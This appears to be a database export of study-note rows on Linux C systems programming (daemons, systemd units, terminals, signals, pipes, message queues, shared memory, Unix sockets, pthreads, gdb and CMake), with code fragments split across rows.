"localhost", (char*)NULL) == -1)\n{\nperror(NULL);\nreturn errno;\n}\n}\nelse\n{\nsleep(3);\nprintf("stopping...\\\\n"); text txt 2024-07-28 09:58:30.046687 -1096 228 if (kill(child, SIGINT) == -1)\n{\nperror(NULL);\nreturn errno;\n} text txt 2024-07-28 09:58:30.067622 -1097 228 waitpid(child, &status, 0);\n}\n} code txt 2024-07-28 09:58:30.087351 -1098 229 #include \n#include text txt 2024-07-28 09:58:30.435075 -1099 229 int main(void)\n{\nif (system("/usr/bin/ping -c3 localhost") != 0)\n{\nperror("cannot run command");\n}\n} code txt 2024-07-28 09:58:30.456449 -1100 230 #ifndef _POSIX_C_SOURCE\n#define _POSIX_C_SOURCE 11082022L\n#endif text txt 2024-07-28 09:58:33.261459 -1101 230 #include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:33.282984 -1102 230 void signal_handler(int); text txt 2024-07-28 09:58:33.303508 -1103 230 int stop = 0;\nFILE *fp = NULL;\nchar const *pidfile = "/var/run/custom-daemon.pid";\nchar const *storage = "/tmp/daemon.db"; text txt 2024-07-28 09:58:33.323974 -1104 230 int main(void)\n{\npid_t process_id;\npid_t session_id; text txt 2024-07-28 09:58:33.344094 -1105 230 if ((process_id = fork()) == -1)\n{\nperror("cannot fork");\nreturn 1;\n} text txt 2024-07-28 09:58:33.36427 -1106 230 if (process_id > 0)\n{\nwaitpid(process_id, NULL, 0);\nreturn 0;\n} text txt 2024-07-28 09:58:33.385645 -1107 230 if ((session_id = setsid()) == -1)\n{\nperror("cannot create new session");\nreturn errno;\n} text txt 2024-07-28 09:58:33.406131 -1108 230 printf("new parent process id %d with session id %d\\\\n", getpid(), session_id); text txt 2024-07-28 09:58:33.426909 -1109 230 if ((process_id = fork()) == -1)\n{\nperror("cannot create daemon process");\nreturn errno;\n} text txt 2024-07-28 09:58:33.447178 -1173 243 #ifndef _POSIX_C_SOURCE\n#define _POSIX_C_SOURCE 200809L\n#endif text txt 2024-07-28 09:58:42.160689 -1110 230 if (process_id > 0)\n{\nif ((fp = fopen(pidfile, "w")) == NULL)\n{\nperror("cannot create pid file");\nkill(process_id, SIGKILL);\nreturn errno;\n} text txt 2024-07-28 09:58:33.468813 -1111 230 fprintf(fp, "%d\\\\n", process_id);\nprintf("daemon started with id %d\\\\n", process_id); text txt 2024-07-28 09:58:33.488923 -1112 230 if (fclose(fp) == -1)\n{\nperror("cannot close pid file");\nreturn errno;\n} text txt 2024-07-28 09:58:33.509684 -1113 230 exit(0);\n} text txt 2024-07-28 09:58:33.530494 -1114 230 mode_t process_mask = 0022;\numask(process_mask); text txt 2024-07-28 09:58:33.552103 -1115 230 if (chdir("/") == -1)\nperror("cannot change working directory of daemon"); text txt 2024-07-28 09:58:33.573643 -1116 230 errno = 0; text txt 2024-07-28 09:58:33.59374 -1117 230 if ((fp = fopen(storage, "w")) == NULL)\n{\nperror("cannot create storage");\nreturn errno;\n} text txt 2024-07-28 09:58:33.615177 -1118 230 fprintf(fp, "daemon running with id %d\\\\n", getpid()); text txt 2024-07-28 09:58:33.636841 -1119 230 struct sigaction signals;\nsignals.sa_flags = SA_RESTART;\nsignals.sa_handler = signal_handler;\nsigaction(SIGINT, &signals, NULL);\nsigaction(SIGTERM, &signals, NULL);\nsigaction(SIGABRT, &signals, NULL);\nsigaction(SIGQUIT, &signals, NULL);\nsigaction(SIGHUP, &signals, NULL); text txt 2024-07-28 09:58:33.658792 -1120 230 close(STDIN_FILENO);\nclose(STDOUT_FILENO);\nclose(STDERR_FILENO);\nopen("/dev/null", 1);\nopen("/dev/null", 2);\nopen("/dev/null", 3); text txt 2024-07-28 09:58:33.678932 -1121 230 time_t now; text txt 2024-07-28 09:58:33.699532 -1122 230 while (stop == 0)\n{\nnow = time(NULL);\nfprintf(fp, "%s", ctime(&now));\nfflush(fp);\nsleep(5);\n} text txt 2024-07-28 09:58:33.720675 -1123 230 fprintf(fp, "daemon stopped\\\\n"); text txt 2024-07-28 09:58:33.741067 -1124 230 if (fclose(fp) == -1)\nexit(errno);\n} text txt 2024-07-28 09:58:33.762278 -1125 230 void signal_handler(int signal)\n{\nstop = 1;\nfprintf(fp, "stopping daemon\\\\n"); text txt 2024-07-28 09:58:33.782816 -1126 230 if (unlink(pidfile) == -1)\nfprintf(fp, "cannot remove pid file: %s\\\\n", strerror(errno));\n} code txt 2024-07-28 09:58:33.802947 -1127 231 [Unit]\nAfter=network-online.target\nWants=network-online.target text txt 2024-07-28 09:58:34.317533 -1128 231 [Service]\nType=forking\nExecStart=/usr/local/sbin/sample-daemon\nRestart=on-failure\nPIDFile=/var/run/sample-daemon.pid text txt 2024-07-28 09:58:34.339133 -1129 231 [Install]\nWantedBy=multi-user.target code txt 2024-07-28 09:58:34.359254 -1130 232 [Unit]\nAfter=network-online.target\nWants=network-online.target text txt 2024-07-28 09:58:34.741671 -1131 232 [Service]\nType=simple\nExecStart=/usr/local/bin/daemon\nRestart=on-failure text txt 2024-07-28 09:58:34.761994 -1132 232 [Install]\nWantedBy=multi-user.target code txt 2024-07-28 09:58:34.78314 -1133 233 #include \n#include text txt 2024-07-28 09:58:35.323612 -1134 233 int main(void)\n{\nCURL *curl = NULL; text txt 2024-07-28 09:58:35.344234 -1135 233 curl = curl_easy_init();\nif (curl)\n{\ncurl_easy_setopt(curl, CURLOPT_URL, "https://ifconfig.me - https://ifconfig.me/ip");\ncurl_easy_perform(curl);\ncurl_easy_cleanup(curl);\n}\nelse\n{\nfprintf(stderr, "curl initialization failed\\\\n");\nreturn 1;\n}\n} code txt 2024-07-28 09:58:35.365179 -1136 234 file object.o\nar -cvr libobject.a object.o\nnm libobject.a\nstrip app code txt 2024-07-28 09:58:35.641098 -1137 235 gcc -c object.c\nar -cvr libobject.a object.o\ngcc main.c libobject.a -o app text txt 2024-07-28 09:58:35.964319 -1138 235 gcc -c -fPIC object.c\ngcc -shared -Wl,-soname,libobject.so -o libobject.so.1 object.o\ngcc -lobject main.c -o app code txt 2024-07-28 09:58:35.985615 -1139 236 sudo install -o root -g root -m 644 libobject.a /usr/local/lib/libobject.a code txt 2024-07-28 09:58:36.180186 -1140 237 tty\nstty -a code txt 2024-07-28 09:58:36.437831 -1141 238 #include \n#include text txt 2024-07-28 09:58:36.808834 -1142 238 int main(void)\n{\nif (isatty(STDOUT_FILENO) == 1)\nprintf("tty name: %s\\\\n", ttyname(STDOUT_FILENO));\nelse\nperror("no tty");\n} code txt 2024-07-28 09:58:36.829611 -1143 239 #ifndef _XOPEN_SOURCE\n#define _XOPEN_SOURCE 600\n#endif text txt 2024-07-28 09:58:38.498437 -1144 239 #include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:38.519795 -1145 239 inline void check_error(int const);\nint read_input(int); text txt 2024-07-28 09:58:38.54135 -1146 239 int main(void)\n{\nint master = 0; text txt 2024-07-28 09:58:38.562198 -1147 239 check_error((master = posix_openpt(O_RDWR)));\ncheck_error(grantpt(master));\ncheck_error(unlockpt(master)); text txt 2024-07-28 09:58:38.583019 -1148 239 printf("slave: %s\\\\n", ptsname(master)); text txt 2024-07-28 09:58:38.604719 -1149 239 while (read_input(master))\n{ }\n} text txt 2024-07-28 09:58:38.624407 -1150 239 void check_error(int const ret)\n{\nif (ret == -1)\n{\nperror(NULL);\nexit(errno);\n}\n} text txt 2024-07-28 09:58:38.646284 -1151 239 int read_input(int pts)\n{\nchar rxbuf[1];\nchar txbuf[3];\nint read_bytes = 0; text txt 2024-07-28 09:58:38.667219 -1152 239 if ((read_bytes = read(pts, rxbuf, 1)) == -1)\n{\nperror("input failed");\nread_bytes = 0;\n} text txt 2024-07-28 09:58:38.687249 -1153 239 if (read_bytes == 1)\n{\nif ('\\\\r' == rxbuf[0])\n{\nprintf("\\\\n\\\\r");\nsprintf(txbuf, "\\\\n\\\\r");\n}\nelse\n{\nprintf("%c", rxbuf[0]);\nsprintf(txbuf, "%c", rxbuf[0]);\n} text txt 2024-07-28 09:58:38.707708 -1154 239 fflush(stdout);\nwrite(pts, txbuf, strlen(txbuf));\n}\nelse\n{\nfprintf(stderr, "disconnected\\\\n\\\\r");\n} text txt 2024-07-28 09:58:38.728051 -1155 239 return read_bytes;\n} text txt 2024-07-28 09:58:38.748162 -1156 239 code txt 2024-07-28 09:58:38.7681 -1157 240 #include \n#include \n#include \n#include text txt 2024-07-28 09:58:39.406664 -1158 240 int main(void)\n{\nstruct termios terminal; text txt 2024-07-28 09:58:39.427309 -1159 240 tcgetattr(STDIN_FILENO, &terminal);\nterminal.c_lflag = terminal.c_lflag & ~ECHO;\ntcsetattr(STDIN_FILENO, TCSAFLUSH, &terminal); text txt 2024-07-28 09:58:39.448045 -1160 240 char buffer[100] = {0}; text txt 2024-07-28 09:58:39.467943 -1161 240 printf("Enter sensitive data: ");\nscanf("%s", buffer);\nprintf("\\\\nSpoilers!\\\\nYou entered: %s\\\\n", buffer); text txt 2024-07-28 09:58:39.487762 -1162 240 terminal.c_lflag = terminal.c_lflag | ECHO;\ntcsetattr(STDIN_FILENO, TCSAFLUSH, &terminal);\n} code txt 2024-07-28 09:58:39.508899 -1163 241 #include \n#include \n#include text txt 2024-07-28 09:58:39.941027 -1164 241 int main(void)\n{\nstruct winsize window = {0}; text txt 2024-07-28 09:58:39.961142 -1165 241 if (ioctl(STDOUT_FILENO, TIOCGWINSZ, &window) == -1)\nperror("cannot retrieve window size"); text txt 2024-07-28 09:58:39.981989 -1166 241 printf("%dx%d\\\\n", window.ws_row, window.ws_col);\n} code txt 2024-07-28 09:58:40.002762 -1167 242 #ifndef _POSIX_C_SOURCE\n#define _POSIX_C_SOURCE 600\n#endif text txt 2024-07-28 09:58:40.762951 -1168 242 #include \n#include \n#include \n#include text txt 2024-07-28 09:58:40.783451 -1169 242 int main(int argc, char **argv)\n{\nif (argc != 2)\n{\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:40.804658 -1170 242 int pid = 0;\nsscanf(argv[1], "%d", &pid); text txt 2024-07-28 09:58:40.825816 -1171 242 if (kill(pid, SIGINT) == -1)\n{\nfprintf(stderr, "cannot kill process %d: %s\\\\n", pid, strerror(errno));\nreturn errno;\n} text txt 2024-07-28 09:58:40.846932 -1174 243 #include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:42.182441 -1175 243 int main(void)\n{\nchar buffer[100] = {0};\nint pipefd[2] = {0};\nint status = 0;\npid_t child = 0; text txt 2024-07-28 09:58:42.202694 -1176 243 if (pipe(pipefd) == -1)\n{\nperror("cannot create pipe");\nreturn errno;\n} text txt 2024-07-28 09:58:42.22399 -1177 243 if ((child = fork()) == -1)\n{\nperror("cannot fork");\nreturn errno;\n} text txt 2024-07-28 09:58:42.244343 -1178 243 if (0 == child)\n{\nclose(pipefd[STDOUT_FILENO]); text txt 2024-07-28 09:58:42.264309 -1179 243 printf("child: %d\\\\n", getpid()); text txt 2024-07-28 09:58:42.28461 -1180 243 if (read(pipefd[STDIN_FILENO], buffer, sizeof(buffer)) == -1)\n{\nperror("cannot read from pipe");\nreturn errno;\n} text txt 2024-07-28 09:58:42.305584 -1181 243 printf("%s\\\\n", buffer); text txt 2024-07-28 09:58:42.325833 -1182 243 close(pipefd[STDIN_FILENO]);\n}\nelse\n{\nclose(pipefd[STDIN_FILENO]); text txt 2024-07-28 09:58:42.346248 -1183 243 printf("parent: %d - child: %d\\\\n", getpid(), child);\ndprintf(pipefd[STDOUT_FILENO], "parent starting conversation"); text txt 2024-07-28 09:58:42.366771 -1184 243 close(pipefd[STDOUT_FILENO]);\nwaitpid(child, &status, 0);\n}\n} code txt 2024-07-28 09:58:42.387678 -1185 244 #ifndef _POSIX_C_SOURCE\n#define _POSIX_C_SOURCE 200809L\n#endif text txt 2024-07-28 09:58:44.338425 -1186 244 #include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:44.35956 -1187 244 int fifofd = 0;\nchar const *fifoname = "/tmp/named-pipe"; text txt 2024-07-28 09:58:44.380203 -1188 244 inline void close_pipe(void);\ninline void remove_pipe(void);\ninline void setup_signals(void); text txt 2024-07-28 09:58:44.400333 -1189 244 void clean_up(int); text txt 2024-07-28 09:58:44.420852 -1190 244 int main(int argc, char **argv)\n{\ntime_t now = time(NULL); text txt 2024-07-28 09:58:44.442148 -1191 244 setup_signals(); text txt 2024-07-28 09:58:44.462761 -1192 244 if (mkfifo(fifoname, 0600) == -1)\n{\nperror("cannot create named pipe");\nreturn errno;\n} text txt 2024-07-28 09:58:44.483682 -1193 244 if ((fifofd = open(fifoname, O_WRONLY)) == -1)\n{\nperror("cannot open named pipe");\nremove_pipe();\nreturn errno;\n} text txt 2024-07-28 09:58:44.504083 -1194 244 if (dprintf(fifofd, "%s\\\\n", ctime(&now)) == -1)\n{\nperror("failed to write into named pipe");\nclean_up(0);\nreturn errno;\n} text txt 2024-07-28 09:58:44.524851 -1195 244 clean_up(0);\n} text txt 2024-07-28 09:58:44.546537 -1196 244 void clean_up(int signal)\n{\nclose_pipe();\nremove_pipe();\nexit(errno);\n} text txt 2024-07-28 09:58:44.566932 -1197 244 void close_pipe(void)\n{\nif (close(fifofd) == -1)\n{\nperror("failed to close named pipe");\n}\n} text txt 2024-07-28 09:58:44.587847 -1198 244 void remove_pipe(void)\n{\nif (unlink(fifoname) == -1)\n{\nperror("failed to remove named pipe");\n}\n} text txt 2024-07-28 09:58:44.608945 -1199 244 void setup_signals(void)\n{\nstruct sigaction action;\naction.sa_flags = SA_RESTART;\naction.sa_handler = clean_up;\nsigfillset(&action.sa_mask);\nsigaction(SIGINT, &action, NULL);\nsigaction(SIGTERM, &action, NULL);\nsigaction(SIGABRT, &action, NULL);\nsigaction(SIGQUIT, &action, NULL);\nsigaction(SIGHUP, &action, NULL);\nsigaction(SIGPIPE, &action, NULL);\n} code txt 2024-07-28 09:58:44.628658 -1200 245 #include \n#include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:45.627112 -1201 245 int main(int argc, char **argv)\n{\nif (argc != 2)\n{\nfprintf(stderr, "usage: %s \\\\n", argv[0]);\nreturn 1;\n} text txt 2024-07-28 09:58:45.648009 -1202 245 int fd = 0;\nchar message[100] = {0};\nstrncpy(message, argv[1], sizeof(message)); text txt 2024-07-28 09:58:45.669214 -1203 245 struct mq_attr attributes;\nattributes.mq_maxmsg = 10;\nattributes.mq_msgsize = 100; text txt 2024-07-28 09:58:45.690389 -1204 245 fd = mq_open("/msgs", O_CREAT|O_RDWR, S_IRUSR|S_IWUSR|S_IRGRP|S_IROTH, &attributes);\nif (fd == -1)\n{\nperror("cannot create message queue");\nreturn errno;\n} text txt 2024-07-28 09:58:45.711455 -1205 245 if (mq_send(fd, message, strlen(message), 1) == -1)\nperror("failed to write into message queue"); text txt 2024-07-28 09:58:45.732711 -1206 245 if (mq_close(fd) == -1)\n{\nperror("cannot close message queue");\nreturn errno;\n}\n} code txt 2024-07-28 09:58:45.753028 -1207 246 #include \n#include \n#include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:47.133859 -1208 246 int main(void)\n{\nint fd = 0; text txt 2024-07-28 09:58:47.155273 -1209 246 struct mq_attr attributes; text txt 2024-07-28 09:58:47.175581 -1210 246 if ((fd = mq_open("/msgs", O_RDONLY)) == -1)\n{\nperror("cannot open message queue");\nreturn errno;\n} text txt 2024-07-28 09:58:47.196221 -1211 246 if (mq_getattr(fd, &attributes) == -1)\n{\nperror("cannot get message queue attributes");\nreturn errno;\n} text txt 2024-07-28 09:58:47.217015 -1212 246 char *buffer = NULL;\nif ((buffer = calloc(attributes.mq_msgsize, sizeof(char))) == NULL)\n{\nperror("cannot allocate memory for message queue");\nreturn errno;\n} text txt 2024-07-28 09:58:47.238061 -1213 246 printf("%ld messages in queue\\\\n", attributes.mq_curmsgs); text txt 2024-07-28 09:58:47.259472 -1214 246 for (int i = 0; i < attributes.mq_curmsgs; ++i)\n{\nif (mq_receive(fd, buffer, attributes.mq_msgsize, NULL) == -1)\n{\nperror("failed to receive message");\n} text txt 2024-07-28 09:58:47.281916 -1215 246 printf("%s\\\\n", buffer);\nmemset(buffer, '\\\\0', attributes.mq_msgsize);\n} text txt 2024-07-28 09:58:47.302552 -1216 246 free(buffer); text txt 2024-07-28 09:58:47.322229 -1217 246 if (mq_close(fd) == -1)\n{\nperror("cannot close message queue descriptor");\n} text txt 2024-07-28 09:58:47.343347 -1218 246 if (mq_unlink("/msgs") == -1)\n{\nperror("cannot remove message queue");\n} text txt 2024-07-28 09:58:47.364605 -1219 246 return errno;\n} code txt 2024-07-28 09:58:47.386636 -1220 247 #include \n#include \n#include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:48.603156 -1221 247 int main(void)\n{\nchar *mem_name = NULL;\nint status = 0;\npid_t child = 0; text txt 2024-07-28 09:58:48.624501 -1222 247 mem_name = mmap(NULL, 100, PROT_WRITE|PROT_READ, MAP_SHARED|MAP_ANONYMOUS, -1, 0);\nif (mem_name == MAP_FAILED)\n{\nperror("memory map failed");\nreturn errno;\n} text txt 2024-07-28 09:58:48.646766 -1223 247 char const *parent_msg = "parent message";\nchar const *child_msg = "child message"; text txt 2024-07-28 09:58:48.667795 -1224 247 if ((child = fork()) == -1)\n{\nperror("cannot fork");\nreturn errno;\n} text txt 2024-07-28 09:58:48.689094 -1225 247 if (0 == child)\n{\nmemcpy(mem_name, child_msg, strlen(child_msg) + 1);\nprintf("parent %d: %s\\\\n", getpid(), mem_name);\n}\nelse\n{\nwaitpid(child, &status, 0);\nmemcpy(mem_name, parent_msg, strlen(parent_msg) + 1);\nprintf("child %d: %s\\\\n", child, mem_name);\n} text txt 2024-07-28 09:58:48.710327 -1226 247 munmap(mem_name, 100);\n} code txt 2024-07-28 09:58:48.730916 -1227 248 code txt 2024-07-28 09:58:48.857466 -1228 249 #ifndef _XOPEN_SOURCE\n#define _XOPEN_SOURCE 800\n#endif text txt 2024-07-28 09:58:51.795304 -1288 255 run args code txt 2024-07-28 09:58:57.248865 -1229 249 #include \n#include \n#include \n#include \n#include \n#include \n#include \n#include \n#include text txt 2024-07-28 09:58:51.815769 -1230 249 char const *socket_name = "/tmp/socket";\nint connection = 0;\nint client = 0; text txt 2024-07-28 09:58:51.836352 -1231 249 void clean_up(int);\nvoid setup_signals(void);\nint setup_connection(void);\nint get_client(int);\nvoid message_client(int, int); text txt 2024-07-28 09:58:51.856712 -1232 249 int main(void)\n{\nsetup_signals();\nconnection = setup_connection();\nclient = get_client(connection);\nmessage_client(connection, client);\n} text txt 2024-07-28 09:58:51.877992 -1233 249 void setup_signals(void)\n{\nstruct sigaction action;\naction.sa_flags = SA_RESTART;\naction.sa_handler = clean_up;\nsigfillset(&action.sa_mask);\nsigaction(SIGINT, &action, NULL);\nsigaction(SIGTERM, &action, NULL);\nsigaction(SIGABRT, &action, NULL);\nsigaction(SIGQUIT, &action, NULL);\nsigaction(SIGHUP, &action, NULL);\nsigaction(SIGPIPE, &action, NULL);\n} text txt 2024-07-28 09:58:51.900445 -1234 249 int setup_connection(void)\n{\nint connection = 0;\nif ((connection = socket(AF_UNIX, SOCK_SEQPACKET, 0)) == -1)\n{\nperror("cannot create socket");\nexit(errno);\n} text txt 2024-07-28 09:58:51.922063 -1235 249 struct sockaddr_un address;\naddress.sun_family = AF_UNIX;\nstrncpy(address.sun_path, socket_name, sizeof(address.sun_path)); text txt 2024-07-28 09:58:51.943127 -1236 249 if (bind(connection, (struct sockaddr const*)&address, sizeof(address)) == -1)\n{\nperror("cannot bind to socket");\nclose(connection);\nexit(errno);\n} text txt 2024-07-28 09:58:51.963535 -1237 249 if (listen(connection, 10) == -1)\n{\nperror("cannot listen to socket");\nclose(connection);\nexit(errno);\n} text txt 2024-07-28 09:58:51.984271 -1238 249 return connection;\n} text txt 2024-07-28 09:58:52.005077 -1239 249 int get_client(int connection)\n{\nint client = 0; text txt 2024-07-28 09:58:52.025525 -1240 249 if ((client = accept(connection, NULL, NULL)) == -1)\n{\nperror("cannot accept new connection");\nclose(connection);\nexit(errno);\n} text txt 2024-07-28 09:58:52.047111 -1241 249 return client;\n} text txt 2024-07-28 09:58:52.068156 -1242 249 void message_client(int connection, int client)\n{\nint bytes_read = 0;\nchar buffer[100] = {0}; text txt 2024-07-28 09:58:52.090146 -1243 249 while (1)\n{\nif ((bytes_read = read(client, buffer, sizeof(buffer))) == -1)\n{\nperror("failed to read from client");\nclean_up(0);\n}\nelse if (bytes_read == 0)\n{\nfprintf(stderr, "client disconnected\\\\n");\nclean_up(0);\n}\nelse\n{\nprintf("message: %s\\\\n", buffer);\n} text txt 2024-07-28 09:58:52.112595 -1244 249 write(client, "message received\\\\n", 18);\n}\n} text txt 2024-07-28 09:58:52.133596 -1245 249 void clean_up(int signal)\n{\nprintf("\\\\nuser interrupted\\\\n"); text txt 2024-07-28 09:58:52.154057 -1246 249 if (close(connection) == -1)\nperror("cannot close connection"); text txt 2024-07-28 09:58:52.175562 -1247 249 if (close(client) == -1)\nperror("cannot disconnect client"); text txt 2024-07-28 09:58:52.19693 -1248 249 if (unlink(socket_name) == -1)\nperror("cannot remove socket"); text txt 2024-07-28 09:58:52.217103 -1249 249 exit(errno);\n} code txt 2024-07-28 09:58:52.23745 -1250 250 code txt 2024-07-28 09:58:52.35876 -1251 251 #include \n#include \n#include text txt 2024-07-28 09:58:53.445376 -1252 251 void *worker(void *);\nvoid *progress(void *); text txt 2024-07-28 09:58:53.466179 -1253 251 int main()\n{\npthread_t worker_thread = 0;\npthread_t progress_thread = 0;\npthread_attr_t attributes; text txt 2024-07-28 09:58:53.487412 -1254 251 pthread_attr_init(&attributes);\npthread_create(&worker_thread, &attributes, worker, NULL);\npthread_create(&progress_thread, &attributes, progress, NULL);\npthread_detach(progress_thread);\npthread_join(worker_thread, NULL);\npthread_attr_destroy(&attributes);\npthread_cancel(progress_thread);\n} text txt 2024-07-28 09:58:53.507979 -1255 251 void *worker(void *arg)\n{\nsleep(3); text txt 2024-07-28 09:58:53.529003 -1257 251 void *progress(void *arg)\n{\nfor (;;)\n{\nsleep(1);\nputchar('.');\nfflush(stdout);\n} text txt 2024-07-28 09:58:53.570118 -1259 252 #include \n#include \n#include text txt 2024-07-28 09:58:55.057191 -1260 252 void *add(void *);\nvoid *progress(void *); text txt 2024-07-28 09:58:55.07821 -1261 252 pthread_mutex_t add_mutex; text txt 2024-07-28 09:58:55.099467 -1262 252 int main(void)\n{\npthread_attr_t attributes;\npthread_attr_init(&attributes); text txt 2024-07-28 09:58:55.120495 -1263 252 pthread_t add_worker1, add_worker2, progress_worker; text txt 2024-07-28 09:58:55.141733 -1264 252 pthread_mutex_init(&add_mutex, NULL); text txt 2024-07-28 09:58:55.161703 -1265 252 pthread_create(&progress_worker, &attributes, progress, NULL);\npthread_detach(progress_worker); text txt 2024-07-28 09:58:55.181849 -1266 252 pthread_create(&add_worker1, &attributes, add, NULL);\npthread_create(&add_worker2, &attributes, add, NULL); text txt 2024-07-28 09:58:55.201879 -1267 252 pthread_join(add_worker1, NULL);\npthread_join(add_worker2, NULL); text txt 2024-07-28 09:58:55.222978 -1268 252 pthread_cancel(progress_worker); text txt 2024-07-28 09:58:55.243907 -1269 252 pthread_mutex_destroy(&add_mutex);\n} text txt 2024-07-28 09:58:55.265536 -1270 252 void *add(void *arg)\n{\npthread_mutex_lock(&add_mutex);\nsleep(1);\npthread_mutex_unlock(&add_mutex);\nreturn NULL;\n} text txt 2024-07-28 09:58:55.286335 -1271 252 void *progress(void *arg)\n{\nint milli = 3;\nint max = milli * 100000; text txt 2024-07-28 09:58:55.307789 -1272 252 printf("waiting"); text txt 2024-07-28 09:58:55.329019 -1273 252 while (1)\n{\nfor (int i = 0; i < 3; ++i)\n{\nputchar('.');\nfflush(stdout);\nusleep(max);\n}\nprintf("\\\\b\\\\b\\\\b \\\\b\\\\b\\\\b");\n} text txt 2024-07-28 09:58:55.349502 -1275 253 #include \n#include \n#include text txt 2024-07-28 09:58:56.63217 -1276 253 void *delay(void *);\nvoid *progress(void *); text txt 2024-07-28 09:58:56.651724 -1277 253 pthread_mutex_t delay_mutex;\npthread_cond_t delay_cond; text txt 2024-07-28 09:58:56.672443 -1278 253 int main(void)\n{\npthread_t delay_thread;\npthread_t progress_thread; text txt 2024-07-28 09:58:56.692494 -1279 253 pthread_mutex_init(&delay_mutex, NULL);\npthread_cond_init(&delay_cond, NULL); text txt 2024-07-28 09:58:56.713752 -1280 253 pthread_attr_t attributes;\npthread_attr_init(&attributes); text txt 2024-07-28 09:58:56.734649 -1281 253 pthread_create(&delay_thread, &attributes, delay, NULL);\npthread_create(&progress_thread, &attributes, progress, NULL); text txt 2024-07-28 09:58:56.756739 -1282 253 pthread_mutex_lock(&delay_mutex);\nfor (int i = 0; i < 2; ++i)\n{\n}\npthread_mutex_unlock(&delay_mutex); text txt 2024-07-28 09:58:56.777817 -1283 253 pthread_detach(progress_thread);\npthread_join(delay_thread, NULL); text txt 2024-07-28 09:58:56.799605 -1284 253 pthread_attr_destroy(&attributes);\npthread_cancel(progress_thread);\n} text txt 2024-07-28 09:58:56.821105 -1285 253 void *delay(void *arg)\n{\nsleep(1);\nreturn NULL;\n} text txt 2024-07-28 09:58:56.841839 -1286 253 void *progress(void *arg)\n{\nwhile (1)\n{\nputchar('.');\nfflush(stdout);\nusleep(100000);\n}\nreturn NULL;\n} code txt 2024-07-28 09:58:56.862547 -1287 254 gdb -q ./program code txt 2024-07-28 09:58:57.107136 -1289 256 break main code txt 2024-07-28 09:58:57.419713 -1290 257 watch var code txt 2024-07-28 09:58:57.562244 -1291 258 next code txt 2024-07-28 09:58:57.700024 -1292 259 print var code txt 2024-07-28 09:58:57.866573 -1293 260 step code txt 2024-07-28 09:58:58.005772 -1294 261 finish code txt 2024-07-28 09:58:58.152782 -1295 262 x/20bd text\nx/8x $rip code txt 2024-07-28 09:58:58.345629 -1296 263 set var = 20\nset text[20] = '\\\\0'\nx/20bd text code txt 2024-07-28 09:58:58.55016 -1297 264 break main\nset follow-fork-mode child\nrun code txt 2024-07-28 09:58:58.727749 -1298 265 info threads\nthread 3\nnext code txt 2024-07-28 09:58:58.910322 -1299 266 valgrind ./leaked code txt 2024-07-28 09:58:59.074592 -1300 267 cmake_minimum_required(VERSION 3.20 FATAL)\nproject(Flashback LANGUAGES CXX)\nadd_executable(flashback src/main.cpp) code txt 2024-07-28 09:59:00.620805 -1301 268 cmake -S -B code txt 2024-07-28 09:59:00.827933 -1302 269 cmake --build code txt 2024-07-28 09:59:01.036843 -1303 270 cmake --build --target code txt 2024-07-28 09:59:01.249817 -1304 271 cmake --build --target help code txt 2024-07-28 09:59:01.459094 -1305 272 - `all`: the default target which builds all targets not `EXLUDED_FROM_ALL`.\n- `clean`: remove all generated artifacts.\n- `depend`: generate the dependencies, if any, for the source files.\n- `rebuild_cache`: rebuild `CMakeCache.txt`.\n- `edit_cache`: edit cache entries directly. text txt 2024-07-28 09:59:01.700587 -1306 273 cmake -S -B -G \ncmake -S . -B build -G 'Unix Makefiles' code txt 2024-07-28 09:59:01.92967 -1307 274 1. `STATIC`: archives of object files for use when linking other targets.\n2. `SHARED`: libraries that can be linked and loaded at runtime.\n3. `OBJECT`: compile sources in the list to object files, but then neither\n archive into a static library nor linking them into a shared object. The\n use of object libraries is particularly useful if one needs to create both\n static and shared libraries in one go.\n4. `MODULE`: similar to dynamic shared objects (DSO) but not linked to any\n other target within the project, but may be loaded dynamicly later on.\n Useful for building a runtime plugin.\n5. `IMPORTED`: library located outside the project. Useful to model\n pre-existing dependencies of the project that are provided by upstream\n packages. As such these libraries are immutable.\n6. `INTERFACE`: special library similar to `IMPORTED`, but it is mutable and\n has no location. Useful to model usage requirements for a target that is\n outside our project.\n7. `ALIAS`: an alias for pre-existing library target within the project. text txt 2024-07-28 09:59:02.377099 -1308 275 cmake_minimum_required(VERSION 3.20 FATAL_ERROR)\nproject(Sample LANGUAGES CXX)\nadd_executable(program main.cpp)\nadd_library(message-shared SHARED message.hpp message.cpp)\nadd_library(message-static STATIC message.hpp message.cpp)\ntarget_link_libraries(program message-shared) code txt 2024-07-28 09:59:02.73341 -1309 276 cmake_minimum_required(VERSION 3.20 FATAL_ERROR)\nproject(Sample LANGUAGES CXX)\nadd_executable(program main.cpp)\nadd_library(message-object OBJECT message.hpp message.cpp)\nset_target_properties(message-object PROPERTIES POSITION_INDEPENDENT_CODE 1)\nadd_library(message-shared SHARED $)\nset_target_properties(message-shared PROPERTIES OUTPUT_NAME "message")\nadd_library(message-static STATIC $)\nset_target_properties(message-static PROPERTIES OUTPUT_NAME "message")\ntarget_link_libraries(program message-shared) code txt 2024-07-28 09:59:03.132371 -1310 277 PIE is enabled by default on Linux and Mac OSX. text txt 2024-07-28 09:59:03.38243 -1311 277 set_target_properties(target PROPERTIES POSITION_INDEPENDENT_CODE 1) code txt 2024-07-28 09:59:03.403664 -1312 278 set_target_properties(target PROPERTIES OUTPUT_NAME "primary_target") code txt 2024-07-28 09:59:03.619434 -1313 279 `BUILD_SHARED_LIBS` is a global flag offered by cmake. text txt 2024-07-28 09:59:04.039737 -1314 279 `add_library` can be invoked without passing the `STATIC/SHARED/OBJECT`\nargument. This command will internally lookup `BUILD_SHARED_LIBS` and will\nuse `SHARED` when set, otherwise it uses `STATIC`. text txt 2024-07-28 09:59:04.060539 -1315 279 add_library(message message.hpp message.cpp) code txt 2024-07-28 09:59:04.081008 -1316 279 cmake -S -B -D BUILD_SHARED_LIBS=ON code txt 2024-07-28 09:59:04.101 -1317 280 - A logical variable is true if it set to any of the `1, ON, YES, TRUE, Y`,\n or a non-zero 